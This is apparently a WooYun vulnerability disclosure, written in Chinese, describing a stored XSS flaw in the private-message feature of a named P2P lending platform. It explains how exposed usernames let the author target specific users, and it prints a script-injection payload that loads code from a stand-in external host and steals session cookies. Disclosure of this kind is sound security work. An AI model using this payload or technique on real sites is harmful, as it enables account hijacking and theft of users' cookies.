WooYun.org

用户名直接暴露，站内信未做任何过滤，导致可以xss站内指定的任何用户。
域名：http://www.wangdaizhibao.com
第一步，先注册。
第二步，当然是登录啦。

第三步，首先看看这种站里面有没有站内信或者评论功能，优先看站内信，因为容易被忽略。中小型网贷平台一般技术员都不强，所以这些地方基本会漏掉。

第四步，找用户名，看看能给谁发信息。
由于投过网贷，懂得投资流程，所以先找成功的标，看看能不能找到用户名。

这个平台技术员，应该没什么安全意识吧？
用户名什么的，都暴露出来了。

连ID 跟用户名都有.. .. .. .
好了 开始x它吧。

</textarea>'"><script src=http://ccav.com/LC3Aro?1405559322></script>

这里自己搭建的xss平台域名就不放出来了，用ccav代替的。

cookie到手。
额外说明一下，这个平台除了xss之外，还泄露了用户敏感信息。
要是用户打**号，以及隐藏ID，那我想找指定的人xxx,估计也要费很多时间。